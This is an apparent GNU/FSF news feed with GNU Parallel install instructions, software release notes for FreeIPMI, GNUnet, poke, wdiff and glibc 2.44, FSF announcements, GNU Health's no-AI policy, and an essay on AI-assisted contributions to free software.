    12345678 c555f616 391c6f7c 28bf9380 44f4ec50
    $ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
    70727536 3428aa9e 9a136b9a 7296dfe4
    $ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
    83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
    b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
    $ bash install.sh

Watch the intro video on http://www.youtub ... L284C9FF2488BC6D1

Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.

When using programs that use GNU Parallel to process data for publication please cite:

O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/1 ... 81/zenodo.1146014.

If you like GNU Parallel:

Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparall ... igns/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference

If you use programs that use GNU Parallel for research:

Please cite GNU Parallel in you publications (use --citation)

If GNU Parallel saves you money:

(Have your company) donate to FSF https://my.f ... .org/donate/

About GNU SQL

GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.

The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.

When using GNU SQL for a publication please cite:

O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.

About GNU Niceload

GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.

FreeIPMI 1.6.19 Released

2026-08-28T16:21:48+00:00

o Fix minor groff warnings in manpages.
o Fix portability of building manpages.
o Fix minor bugs found by code analysis:
- bmc-watchdog: Fix bug with --arp-response command line parsing.
- ipmi/rmcpping: Fix bug with finding an IPv6 interface.
- ipmidetect: fix bug in which hostname configs not used properly
- ipmi-oem intelnm: fix parsing of hours/minutes error
- ipmi-oem: Correct Dell CMC IPv6 autoconfiguration output.
- ipmi-oem: Correct Dell iDRAC web server control output.
- libipmidetect: Isolate partial results between fallback servers.
- libipmidetect: Honor caller-provided hostnames over configured defaults.
- common: Preserve stream state when finishing buffered output.
- common: Fix buffer-output configuration parse issue.
- common: Parse UTC offset configuration as an integer.
- ipmiconsole: Monitor both console descriptors.
- ipmiconsole: Check valid payload instance range correctly.
- ipmi-sel: Honor post-clear after full tail output.
- ipmi-fru: Report DIMM capacities in megabytes.
- ipmi-chassis: Apply the Power-On Hours scale correctly.
- libipmimonitoring: fix mem-leak on SEL iterator
- libipmimonitoring: allow cipher suite 0 in configs
- libipmimonitoring: report NO_SEL_RECORDS instead of
NO_SENSOR_READINGS cut and paste errors in some functions.
o Fix potential stack overflows found by code analysis in ipmi-oem dell get-system-info command (specifically idrac-info, cmc-info, cmc-ipv6-info subcommands) and ipmi-oem fujitsu get-sel-entry-long-text.
o Fix potential stack overflow in libfreeipmi also related to Fujitsu long SEL entries.

https://ftp.gnu.o ... pmi-1.6.19.tar.gz

Job opportunity: Systems Integration Administrator at the Free Software Foundation

2026-08-26T18:55:00+00:00

The Free Software Foundation (FSF), a Massachusetts 501(c)(3) charity with a worldwide mission to promote computer user freedom, seeks a motivated and talented individual to be our new Systems Integration Administrator. This position is ideally full-time and US-based, but exceptions can be made for a qualified candidate.

Five more organizer tales: LibreLocal 2026, part three

2026-08-26T16:55:00+00:00

From Canada to Poland, LibreLocal 2026 organizers shared free software with their communities!

automake-1.18.92 released [beta]

2026-08-25T14:32:56+00:00

This is to announce automake-1.18.92, a beta release in preparation for automake-1.19. Announcement:

https://lists.gnu ... -08/msg00000.html

The hidden cost of today's "smart" devices

2026-08-24T21:20:00+00:00

unrtf 0.21.12

2026-08-24T08:22:49+00:00

unrtf 0.21.12 is released, fixing a serious recently submitted security issue.

Book chapter on Taler as sCBDC technology published

2026-08-20T22:00:00+00:00

The recently published Springer book "Tokenisation of Money: From Fiat Currencies to Stablecoins" includes the chapter "Taler as a synthetic Central Bank Digital Currency" by Christian Grothoff, Mikolai Gütschow and Valentin Seehausen. It discusses the potentials and benefits of GNU Taler as a technological enabler for privately issued CBDCs.

GNUnet 0.29.0

2026-08-19T22:00:00+00:00

GNUnet 0.29.0 released

We are pleased to announce the release of GNUnet 0.29.0.
GNUnet is an alternative network stack for building secure, decentralized and privacy-preserving distributed applications. Our goal is to replace the old insecure Internet protocol stack. Starting from an application for secure publication of files, it has grown to include all kinds of basic protocol components and applications towards the creation of a GNU internet.

This is a new major release. The release addresses a couple of regressions and general instability of the transport subsystem. Major versions may break protocol compatibility with the 0.28.X versions. Please be aware that Git master is thus henceforth (and has been for a while) INCOMPATIBLE with the 0.28.X GNUnet network, and interactions between old and new peers will result in issues. In terms of usability, users should be aware that there are still a number of known open issues in particular with respect to ease of use, but also some critical privacy issues especially for mobile users. Also, the nascent network is tiny and thus unlikely to provide good anonymity or extensive amounts of interesting information. As a result, the 0.29.0 release is still only suitable for early adopters with some reasonable pain tolerance .

Download links

gnunet-0.29.0.tar.gz ( signature )

The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A

Note that due to mirror synchronization, not all links might be functional early after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/

Changes

A detailed list of changes can be found in the git log, the NEWS.

Known Issues

There are known moderate implementation limitations in CADET that negatively impact performance.
There are known moderate design issues in FS that also impact usability and performance.
There are minor implementation limitations in SET that create unnecessary attack surface for availability.
The RPS subsystem remains experimental.

In addition to this list, you may also want to consult our bug tracker at bugs.gnunet.org which lists about 190 more specific issues.

Thanks

This release was the work of many people. The following people contributed code and were thus easily identified: Christian Grothoff, Florian Dold, TheJackiMonster, and Martin Schanzenbach.

GNU Health strict No Generative Artificial Intelligence Policy

2026-08-19T15:30:29+00:00

Dear community

We have included in the GNU Health Code of Conduct the strict NO Generative Artificial Intelligence policy.

The current version reads:

GNU Health Strict No Generative Artificial Intelligence Policy

GNU Health is social project made by humans and for humans. We DO NOT accept any code, artwork, review, documentation or issues created by generative Artifical Intelligence (GenAI) / Large Language Models (LLMs).

The GNU Health no-AI policy is because we strongly believe that:

* GenAI is bad for Mother Nature
* GenAI is bad for human rights, especially for underserved and marginalized communities.
* GenAI is bad for the Free Software and Free Culture communities.
* GenAI is bad for you

Last but not least, GNU Health manages critical health information both at personal and population level. There must be a reasoning behind every single line of code. We make all the effort to minimize bugs that can jeopardize the integrity and security of the system, and we can not risk the project by putting it in hands of stochastic parrots.

Letâ€™s keep the art and science of computing a human virtue.

You can read the entire, most current version of GNU Health Code of conduct here:
https://docs.gnuh ... ndix/conduct.html

Six more global stories: LibreLocal 2026, part two

2026-08-18T22:35:00+00:00

GNU poke 5.0 released

2026-08-17T08:51:27+00:00

I am happy to announce a new major release of GNU poke, version 5.0.

GNU poke 5.0 release is now available at
https://ftp.gnu.o ... e/poke-5.0.tar.gz

The tarball is signed and you can get the PGP signature at
https://ftp.gnu.o ... ke-5.0.tar.gz.sig

GNU poke (http://www.j ... rch.net/poke) is an interactive, extensible
editor for binary data. Not limited to editing basic entities such
as bits and bytes, it provides a full-fledged procedural,
interactive programming language designed to describe data
structures and to operate on them.

I'd like to thank everyone who contributed to this release through code,
documentation, or testing.

What is new in this release:

User interface updates

Now hyperlink server can bind to a user-specified port for listening to

commands (-p, --hserver-port).

Poke Language updates

Floating-point arithmetic is now supported on uint<32>/uint<64> types.

uint<32> will be interpreted as a single-precision floating-point number
and uint<64> will be interpreted as a double-precision floating-point
number as defined per the IEEE 754 standard.
The following expressions are now supported:

    - Addition:       a .+ b
    - Subtraction:    a .- b
    - Multiplication: a .* b
    - Division:       a ./ b
    - Ceil-devision: a ./^ b
    - Exponentiation: a .** b
    - Remainder:      a .% b
    - Post-increment: a.++
    - Pre-increment: .++a
    - Post-decrement: a.--
    - Pre-decrement: .--a
    - Negation:      .-a

    - Less-than:                a .< b
    - Less-than-or-equal-to:    a .<= b
    - Greater-than:             a .> b
    - Greater-than-or-equal-to: a .>= b
    - Equal-to:                 a .== b
    - Not-equal-to:             a .!= b

Poke Runtime updates

Thanks to the great work of David Faust, poke now supports reactive IO

spaces! Extent of a PVM value mapped in a given IO space will be tracked
and values will be re-mapped only if a write happens in their extent; which
is a big performance win for read-intense programs.

A bunch of undefined behavior (UB) releated to left-shifts has been fixed.

Improved human-readable message of E_conv exception when verifying

length/size of an array with dynamic bound(s) to help the user to
understand the mistake.

Poke compiler updates

Now poke can properly handle writes to nested integral struct/unions

fields. Previously write to nested fields of integral structs did not
materialize in IO space.

Standard Poke Library updates

Closure's pretty printer now adds closure's name (identifier) to output.

Two new functions to calculate square root of single and double precision

floating point numbers: sqrtf and sqrtd.
They accept uint<32> and uint<64> respectively as the IEEE 754 single and
double precision floating-point numbers.

libpoke updates

Version of DSO is bumped to 2.0.0, and from this release onward, we try

to not break the ABI, and bump the version components according to the
libtool's recommendation (when needed).

To be able to keep the ABI backward-compatibility promise, all public APIs

are now accepting either pk_compiler or pk_val. This is the first step
toward removing global state from libpoke to be able to have multiple
instances of libpoke in a single process (and also to be able to accomplish
thread-safety). We're not there yet, but we'll be there some day (hopefully
soon)!

IO subsystem updates

IOS_F_TRUNCATE has been re-introduced (it was removed after release of

poke 1.0 by the rationale that it's not that useful of a flag. Turns
out it's quite useful to start from an empty file when assembling binary
files from scratch using poke.

Pickles updates

Improved ustar pickle and add tests. Method get_last_mod_time has been

fixed and the following methods has been added:
get_{file,owner_user,group}_name.

Improved time pickle to print date and time properly (zero-padded), and

also add ptime_str function to get date/time information as a string.

Platform supports

We tried to improve MinGW compilation situation by importing more Gnulib

modules, but we still cannot have poke executable for MinGW platform.
Help is very much appreciated in this area!

Documentation updates

Thanks to people who actually read the reference manual, this release

includes a bunch of corrections to the documentation! Cheers to them!

Happy poking!
Mohammad-Reza Nabipoor

wdiff-1.2.3 released [stable]

2026-08-12T19:28:40+00:00

This is to announce wdiff-1.2.3, a stable release.

There have been 29 commits by 2 people in the 637 weeks since 1.2.2.

See the NEWS below for a brief summary.

Thanks to everyone who has contributed!
The following people contributed changes to this release:

Bob Proulx (6)
Simon Josefsson (23)

Happy Hacking,
Simon [on behalf of the wdiff maintainers]
==================================================================

Here is the GNU wdiff home page:
https://www.gnu.org/software/wdiff/

Manual:
https://www.gnu.org/software/wdiff/manual/
https://www.gnu.org/software/wdiff/manual/wdiff.html - HTML format
https://www.gnu.org/software/wdiff/manual/wdiff.pdf - PDF format

Here are the compressed sources and a GPG detached signature:
https://ftp.gnu.org/gnu/wdiff/wdiff-1.2.3.tar.gz
https://ftp.gnu.org/gnu/wdiff/wdiff-1.2.3.tar.gz.sig

Here is minimal source-only "git archive" sources:
https://ftp.gnu.org/gnu/wdiff/wdiff-v1.2.3-src.tar.gz
https://ftp.gnu.org/gnu/wdiff/wdiff-v1.2.3-src.tar.gz.sig

Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html

Here are the SHA256 and SHA3-256 checksums:

File: wdiff-1.2.3.tar.gz
SHA256 sum:   29a4457eb0ed35c902e6732d71f25e1d6c7fe7fa0eda0fb6c371ed6779b49fd6
SHA3-256 sum: 2f558fe6b7a69524f29d266c4018c80a10135cef2e4a53ae3c2944c1fc12c95d

File: wdiff-v1.2.3-src.tar.gz
SHA256 sum:   dc29d8f530471b9a8935413dca32e45848363f6e58888fc7307f5f052b8fb827
SHA3-256 sum: 4db1f41eda5e1525f3ced491af1fc1ad094cc21c209e789d12a1ea8f611be24e

Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.

Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:

gpg --verify wdiff-1.2.3.tar.gz.sig

The signature should match the fingerprint of the following key:

pub   ed25519 2019-03-20 [SC]
        B1D2 BD13 75BE CB78 4CF4 F8C4 D73C F638 C53C 06BE
uid   Simon Josefsson <simon@josefsson.org>

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

gpg --locate-external-key simon@josefsson.org

gpg --recv-keys 51722B08FE4745A2

wget -q -O- 'https://savannah.gnu.org/project/release-gpgkeys.php?group=wdiff&download=1' | gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg
gpg --keyring gnu-keyring.gpg --verify wdiff-1.2.3.tar.gz.sig

This release is based on the wdiff git repository, available as

git clone https://https.git.savannah.gnu.org/git/wdiff.git

with commit 31fe62c4a3e2a76e5d68f571b1aa2f10815ca51f tagged as v1.2.3.

For a summary of changes and contributors, see:

https://gitweb.git.savannah.gnu.org/gitweb/?p=wdiff.git;a=shortlog;h=v1.2.3

or run this command from a git-cloned wdiff directory:

git shortlog v1.2.2..v1.2.3

This release was bootstrapped with the following tools:
Gnulib 31fe62c4a3e2a76e5d68f571b1aa2f10815ca51f
Autoconf 2.72
Automake 1.17
Make 4.4.1
Makeinfo 7.3
Help2man 1.49.2
Tar 1.35
Gzip 1.13

NEWS

* Noteworthy changes in release 1.2.3 (2026-06-30) [stable]

** Modernize build environment.
Several minor fixes including build fixes for modern C23 compilers.
Many generated or obsolete files have been removed from git.

GNU poke 4.90 pre-release is available

2026-08-10T22:33:41+00:00

GNU poke (http://www.j ... rch.net/poke) is an interactive, extensible
editor for binary data. Not limited to editing basic entities such
as bits and bytes, it provides a full-fledged procedural,
interactive programming language designed to describe data
structures and to operate on them.

GNU poke 4.90 pre-release is now available at
https://alpha.gnu ... /poke-4.90.tar.gz

The tarball is signed and you can get the PGP signature at
https://alpha.gnu ... e-4.90.tar.gz.sig

The planned date for releasing 5.0 is Sunday 15 August 2026, but
this may change depending on the amount of problems found in this
pre-release, and the subsequent needed additional pre-releases.

Please report any problem found with the pre-release, comments or
patches to poke-devel@gnu.org.

In behalf of the poke developers, thank you!

Happy testing!
Mohammad-Reza Nabipoor

FSF publishes incident report on GNU Savannah vulnerabilities

2026-08-07T21:57:31+00:00

Open Source Is Hobbling Itself Over Generative AI

2026-08-04T10:52:51+00:00

The answer to bad AI-assisted contributions is not a purity test. It is better engineering discipline.

Earlier this year, a discussion in the GNUstep community raised a proposal that will sound familiar across the Free Software world: prohibit AI-generated code in core projects and proudly advertise the result as “coded by humans” or “AI-free.” The argument was not frivolous. Generative AI raises real questions about copyright, attribution, security, energy use, labor, trust, and the flood of low-quality patches that maintainers are increasingly being asked to review.

But a blanket refusal to use generative AI is the wrong response. It does not solve the hardest problems. It creates rules that are nearly impossible to define or enforce, confuses the method of production with the quality of the product, and risks turning Free Software into a movement that protects yesterday’s workflow instead of protecting software freedom.

Open Source and Free Software are already operating with too few maintainers, too much technical debt, and too many important projects resting on the unpaid labor of a handful of people. We should be very careful about categorically rejecting tools that might help contributors understand old code, write tests, improve documentation, port software, find defects, or perform mechanical modernization. We should be even more careful when our proposed alternative offers the appearance of trust without the substance of it.

The better principle is straightforward:

Regulate the code, not the development process.

“AI-generated” is not a workable boundary

What exactly counts as AI-generated code?

Is it a complete function produced from a prompt? A line accepted from an AI-powered autocomplete system? A compiler-suggested correction? An automated refactoring? A test generated from an existing implementation? A translation of documentation? A patch written by a human after asking a model to explain an unfamiliar API? What if the developer uses AI to identify the problem but writes every line manually? What if an IDE quietly includes machine-learning features the contributor never explicitly invoked?

The line between “human-written” and “AI-assisted” is already blurred, and it will become less distinct as generative features are embedded in editors, compilers, debuggers, search engines, and operating systems. A ban that cannot draw a stable boundary will be applied inconsistently. Honest contributors will disclose and be penalized; dishonest contributors will simply omit the disclosure. Others may be falsely accused because their code “looks generated.”

An “AI-free” badge therefore risks promising something a project cannot reliably prove. Free Software should be especially suspicious of unverifiable labels.

The risks are real—and they argue for review

None of this means generated code should be trusted.

Research has found substantial security weaknesses in AI-produced code. One empirical study of Copilot snippets found security problems in roughly 30 percent of Python snippets and 24 percent of JavaScript snippets in its later dataset. Other research has demonstrated that code models can memorize portions of their training data, while studies of license compliance have found that models often provide inaccurate licensing information, particularly for copyleft code. Those are serious concerns, not anti-AI superstition. (Security weaknesses study; memorization study; license-compliance study)

The productivity story is also more complicated than the advertising. GitHub reported that developers completed a controlled programming task considerably faster with Copilot, but a later randomized study of experienced Open Source developers working in their own repositories found that the tools available in early 2025 made them 19 percent slower. METR’s 2026 follow-up found suggestive but still statistically uncertain evidence of improvement with newer tools. AI is neither magic nor uniformly useless; its value depends on the person, task, model, and workflow. (GitHub productivity study; METR 2025 study; METR 2026 update)

But human authorship has never guaranteed secure, original, maintainable, or correctly licensed code. That is why healthy projects require tests, review, contributor certification, licensing rules, and maintainers who can reject bad work. The origin of a patch may affect how carefully we inspect it, but it cannot replace inspection.

If a contributor submits code they do not understand, the contribution should be rejected. If the patch fails tests, violates project style, invents APIs, introduces vulnerabilities, obscures provenance, or imposes an unreasonable review burden, it should be rejected. That is true whether the patch was produced by Claude, Copilot, a Stack Overflow answer, a contractor, a junior programmer, or a senior maintainer having a bad afternoon.

The repository contains code, not virtue.

Review capacity is the scarce resource

Maintainers have a legitimate complaint: AI can make producing a patch far cheaper than reviewing one. A person can generate thousands of lines in minutes and then expect a volunteer to spend hours establishing whether any of it is correct. That asymmetry can become a denial-of-service attack on a project even when the submitter means well.

The answer, however, is not necessarily to ban a tool. It is to place the cost and responsibility back on the contributor.

A project can require that contributors:

disclose material use of generative AI;
identify the tool and describe how it was used;
certify that they reviewed and understand every submitted change;
explain the design and answer maintainer questions without outsourcing the conversation to a model;
provide focused tests and evidence that the patch solves a real problem;
comply with the project’s licensing and provenance requirements;
keep changes small enough to review; and
accept that unexplained, low-signal, or mass-generated submissions may be closed without detailed triage.

Disclosure is imperfect, but it establishes a community norm and makes an honest contributor accountable. Research into self-declaration practices has already found developers using everything from a simple disclosure to records of prompts, explanations, and quality checks. Projects can choose a level proportionate to their risk. (Study of AI-code self-declaration)

This approach is stricter than either blind enthusiasm or symbolic prohibition. It does not say, “AI wrote it, so it must be acceptable.” It says, “You submitted it, so you are responsible for it.”

Freedom is not a reenactment of an older toolchain

Free Software is founded on the user’s freedom to run, study, modify, and share software. Those principles describe control over technology; they do not require that every developer use the same approved method to create it. The Open Source Initiative’s work on an Open Source AI Definition likewise frames the issue around the practical freedoms to use, study, modify, and share systems—not around preserving a pre-AI development ritual. (Open Source AI Definition 1.0)

There are valid reasons for preferring Free or locally operated AI tools over proprietary cloud services. A project may reasonably prohibit contributors from uploading confidential material or unreleased security fixes to third-party systems. It may impose stricter provenance requirements in sensitive components. Individual maintainers may decline to review bulk-generated reports that have repeatedly produced noise. These are concrete policies tied to concrete harms.

What does not follow is that a project becomes more free merely because no contributor used a generative tool.

An “AI-free” identity may even distract from the qualities that users actually need: portability, stability, compatibility, security, good documentation, responsive maintenance, and code whose behavior can be understood and changed. A badge is not a substitute for those things.

Blanket refusal has an opportunity cost

Mature Free Software projects often contain decades of code and institutional knowledge. They need documentation, regression tests, API audits, build-system repairs, platform ports, translations, issue triage, and repetitive modernization. Generative AI will not perform those jobs reliably on its own. It can still help a knowledgeable contributor perform some of them.

Rejecting that possibility at the policy level has consequences. It may discourage younger contributors whose development environment already includes these tools. It may disadvantage people working in a second language or developers with disabilities who use AI as an accessibility aid. It may prevent experiments that would have failed harmlessly—or succeeded usefully—under ordinary review. Most dangerously, it can encourage a culture in which the declaration “human-written” is treated as evidence of quality.

Free Software has survived previous waves of automation. High-level languages, garbage collection, IDEs, graphical interface builders, code generators, automated formatters, static analyzers, and online code search all changed what it meant to “write” software. Each tool altered the division of labor between programmer and machine. The relevant question was never whether every token originated in a human mind. The question was whether people retained the freedom, knowledge, and responsibility needed to control the resulting system.

That remains the right question now.

A policy that protects projects without freezing them

A sensible policy can fit on one page:

Disclosure: Contributors must disclose material AI assistance in the commit message or pull request.
Responsibility: The named human contributor is the author of record and must understand, explain, test, and stand behind the entire submission.
Quality: AI-assisted contributions receive the same requirements for correctness, security, maintainability, style, documentation, and test coverage as any other contribution.
Provenance: Contributors must have a reasonable basis to believe the submission is license-compatible and must identify known sources or generated passages that may reproduce existing code.
Data protection: Project secrets, embargoed vulnerabilities, private communications, and other restricted material may not be submitted to unauthorized external services.
Reviewability: Maintainers may reject oversized, unexplained, repetitive, or low-signal submissions without performing free forensic work for the submitter.
Local discretion: Components with unusual legal, safety, privacy, or reliability risks may adopt additional written restrictions.

This policy does not resolve every ethical question surrounding generative AI. No contribution policy can. It does, however, address the matters a software project can actually evaluate and enforce.

We should not surrender the future of software freedom

The Free Software community should remain one of the sharpest critics of concentrated corporate power, opaque models, exploitative data practices, environmental cost, and systems that deprive users of control. Criticism is part of our job. So is building an alternative.

If we define ourselves by refusing to touch an important new class of technology, proprietary vendors will shape that technology without us. If instead we insist on transparency, modifiability, privacy, local control, licensing clarity, and human accountability, we can bring the values of Free Software into the AI era.

We do not need to pretend that generative AI is trustworthy. We need processes that do not require us to trust it.

Judge the patch. Demand disclosure. Require understanding. Enforce licensing. Protect reviewers. Reject garbage.

But do not hobble Open Source and Free Software with a blanket ban that is difficult to define, impossible to verify, and disconnected from the quality of the code we ultimately ship.

Learn email self-defense: Hands-on GPG with GNU/Linux with Greg Farough and Heshan de Silva-Weeramuni

2026-07-28T19:30:01+00:00

August 14, 2026 at 17:30 EDT.

Evaluating a program’s free software licensing with Craig Topham

2026-07-28T19:20:00+00:00

August 15, 2026 at 20:15 EDT.

Too many eyeballs? Free software security in the LLM era with Sean O'Brien

2026-07-28T19:15:00+00:00

August 8, 2026 at 16:30 EDT.

Can we route around the app stores? With Sean O'Brien

2026-07-28T19:05:00+00:00

August 16, 2026 at 16:00 EDT.

The GNU C Library version 2.44 is now available

2026-07-27T14:36:46+00:00

The GNU C Library
=================

The GNU C Library version 2.44 is now available.

The GNU C Library is used as the C library in the GNU system and
in GNU/Linux systems, as well as many other systems that use Linux
as the kernel.

The GNU C Library is primarily designed to be a portable
and high performance C library. It follows all relevant
standards including ISO C23 and POSIX.1-2024. It is also
internationalized and has one of the most complete
internationalization interfaces known.

The GNU C Library website is at http://www.gnu. ... /software/libc/

Packages for the 2.44 release may be downloaded from:
http://ftpmirr ... .gnu.org/libc/
http://ftp.gn ... org/gnu/libc/

The mirror list is at http://www.gnu. ... /order/ftp.html

Distributions are encouraged to track the release/* branches
corresponding to the releases they are using. The release
branches will be updated with conservative bug fixes and new
features while retaining backwards compatibility.

NEWS for version 2.44
=====================

Major new features:

System-wide tunables can be applied using /etc/tunables.conf and

running ldconfig. Specific tunable settings and the
/etc/tunables.conf file format and path are not part of the stable
library interfaces and may change between releases.

A new tunable, glibc.elf.thp, is added to map read-only segments with

Transparent Huge Pages (THP) if THP is not disabled in the kernel. When
glibc.elf.thp is set to 1, malloc uses the actual kernel THP mode
instead of defaulting to madvise mode and madvise_thp will stop issuing
MADV_HUGEPAGE if kernel THP mode is always.

The THP page size in malloc is capped to MAX_THP_PAGESIZE. If the THP

page size is above MAX_THP_PAGESIZE, THP in malloc is disabled.

Additional optimized and correctly rounded mathematical functions have

been imported from the CORE-MATH project, in particular cosh, sinh, and
tanh.

Many additional improvements to existing functions have been synchronized

from the CORE-MATH project.

For C++26, the assert macro is now variadic, allowing more complex

arguments containing commas (which however still must evaluate to a single
value).

The SVID error handling for cosh and sinh was moved to compatibility

symbols, allowing improvements in performance.

Static PIE is now supported for arm-*-linux-gnueabi. It requires toolchain

support to correctly set the expected linker options.

On AArch64 targets that support the Guarded Control Stack extension all GCS

operations (including status, write on shadow stack, and push to shadow
stack) are locked after enabling GCS with ENFORCED or OVERRIDE GCS policy.
When a GCS operation is locked, a program cannot change this operation
status via the prctl syscall. This prevents disabling or corrupting the
GCS shadow stack during runtime.

On AArch64 targets, log, exp, sin, cas, sinh, cosh, asinh, acosh, atanh

single and double precision special cases have been vectorized for SVE and
AdvSIMD, and vector variants of powr have been added.

On RISC-V targets, vector extension optimized variants of memcmp, memccpy,

memchr, memcpy, memmove, stpncpy, strcmp, strchr, strcpy, strncmp, strncpy,
strlen, and strrchr have been added.

On PowerPC, memchr optimized for Power10 has been re-added.

Support for LoongArch32 has been added.

Pre-built ld.so.cache files can be installed with ldconfig.

A new locale has been added: hrx_BR (Hunsrik language spoken in Brazil).

Deprecated and removed features, and other changes affecting compatibility:

Although malloc and related functions currently return pointers

aligned to alignof (max_align_t), the documentation now says future
versions of glibc may relax alignment requirements for small allocations.
For example, a future malloc(1) might return a pointer with odd
alignment, because no object of size 1 can have a fundamental
alignment greater than 1.

The s390-linux-gnu (31bit) configuration is no longer supported.

The --enable-memory-tagging configure option has been removed.

The corresponding AArch64-specific functionality that was previously
activated by this flag has been removed as well.

The --enable-static-nss configure option has been removed. It had no

effect on the build since the NSS reorganization in glibc 2.33; its only
remaining behavior was to suppress the link-time warnings on the NSS
interface functions in libc.a, which are now emitted unconditionally.

Security related changes:

The following CVEs were fixed in this release, details of which can be
found in the advisories directory of the release tarball:

GLIBC-SA-2026-0005:
    gethostbyaddr and gethostbyaddr_r may incorrectly handle DNS
    response (CVE-2026-4437)

GLIBC-SA-2026-0006:
    gethostbyaddr and gethostbyaddr_r return invalid DNS hostnames
    (CVE-2026-4438)

GLIBC-SA-2026-0007:
    iconv crash due to assertion failure with untrusted input
    (CVE-2026-4046)

The following bugs were resolved with this release:

[2363] libc: EOPNOTSUPP and ENOTSUP in errno.h must be different,
    according to SUSv3
[3794] manual: iconv: TRANSLIT and IGNORE feature not documented
[15792] dynamic-link: [arm] ARM dynamic linker should save/restore
    coprocessor registers
[20331] libc: fts ignores errors from readdir()
[20680] dynamic-link: ifunc resolver cannot access the thread pointer
    with static linking
[22944] libc: fts cannot traverse paths which have a length longer
    than USHRT_MAX
[25257] libc: sotruss: fix error message for '--f' argument
[25770] locale: newlocale memory leak in LOCPATH parsing and on error
    paths
[27582] libc: x86_64: IFUNC in static user programs may crash when
    built with -fstack-protector-all
[28218] dynamic-link: ld.so: ifunc resolver calls a lazy PLT. When
    does it work?
[28817] libc: static-pie ifunc resolver tls failure
[28940] nss: __nss_database_get doesn't check for allocation failure
[30136] manual: Please document behaviour of iconv(3) when input is
    untranslatable
[30304] nptl: nptl/tst-pthread-gdb-attach test fails with new libc
    shared library version
[30769] malloc: malloc_trim is not working correctly for arenas other
    than arena 0
[30976] dynamic-link: rtld: resolve ifunc relocations after
    JUMP_SLOT/GLOB_DAT/etc
[30992] libc: alpha: setrlimit() with negative values besides
    RLIM_INFINITY returns EPERM
[31901] libc: elf/tst-glibc-hwcaps-prepend-cache fails on i686
[33226] math: math-vector-fortran.h vs not ffast-math
[33626] libc: execvpe should skip inaccessible $PATH components
[33650] build: abilist.awk doesn't handle unversioned defined symbols
[33785] stdio: New streams are linked into global list before they are
    fully initialized
[33848] build: Build fails at openat2.h, redefinition of 'struct
    open_how'
[33882] libc: Recursion in nftw() causes stack overflow(CWE-674)
[33904] build: error: '__vasprintf_chk' undeclared here
[33921] build: Building with Linux-7.0-rc1 errors on OPEN_TREE_CLONE
[33935] stdio: _IO_wfile_doallocate not linked correctly when linking
    glibc statically
[33980] locale: iconv: ibm139x trigger assertion error when converting
    to internal while lack enough room (CVE-2026-4046)
[33985] build: ld: cannot find -lgcc_s: No such file or directory
[33999] stdio: libio: potential dangling _IO_save_base or memory leak
    in wgenops.c
[34006] stdio: libio: inconsistent fmemopen_write behavior on last \0
[34008] stdio: stdio-common: scanf %mc pattern will cause heap
    overflow when width > 1024
[34014] nss: gethostbyaddr and gethostbyaddr_r may incorrectly handle
    DNS response
[34015] nss: gethostbyaddr and gethostbyaddr_r return invalid DNS
    hostnames
[34019] stdio: libio: undefined behavior when setbuf on open_memstream
[34033] network: resolv/ns_print.c: ns_sprintrrf TSIG path bypasses
    buflen and can overflow caller buffer
[34064] dynamic-link: The unnecessary PT_NOTE check in when loading a
    binary
[34069] network: Buffer overread in ns_sprintrrf with corrupted RDATA
    field (CVE-2026-6238)
[34070] hurd: Calling open ("/dev/tty/", O_RDONLY) causes the program
    to segfault
[34073] regex: regexec can mistakenly match with backrefs and the $
    anchor
[34079] dynamic-link: THP segment load aligns all PT_LOAD segments to
    THP page size
[34080] dynamic-link: Support THP segment load with THP enabled with
    madvise
[34083] dynamic-link: __get_thp_mode and __get_thp_size are called
    twice
[34090] libc: wordexp WRDE_APPEND rollback restores stale we_wordv,
    leading to invalid free in wordfree
[34098] libc: Missing SUPPORT_STATIC_PIE in arm32
[34129] string: x86: Non-temporal memset unreachable on AMD Zen 3/4/5
[34144] libc: ld.so clobbers VFP registers during runtime linking
[34154] network: Segfault in sock_eq after res_init() returns -1, due
    to stale _u._ext.nscount in __res_iclose
[34156] dynamic-link: dlsym(RTLD_DEFAULT, ...) from a constructor
    SIGSEGVs when tail-called
[34164] dynamic-link: elf: IFUNC resolvers do not see static TLS
    initialization
[34170] dynamic-link: elf: IFUNC resolver reading global-
    dynamic/TLSDESC __thread variable crashes inside __tls_get_addr
[34183] math: fma produces wrong results
[34192] nptl: pthread_setname_np opens /proc/<tid>/comm with O_RDWR
    instead of O_WRONLY|O_CLOEXEC
[34196] libc: elf: static dlopen: pointer guard of the loaded
    ld.so/libc.so is left uninitialized
[34197] dynamic-link: elf: Stack canary and pointer guard are
    recoverable from AT_RANDOM (getauxval)
[34205] libc: aarch64: SIGSEGV in tunable_strcmp in static-pie
    binaries run with a string tunable
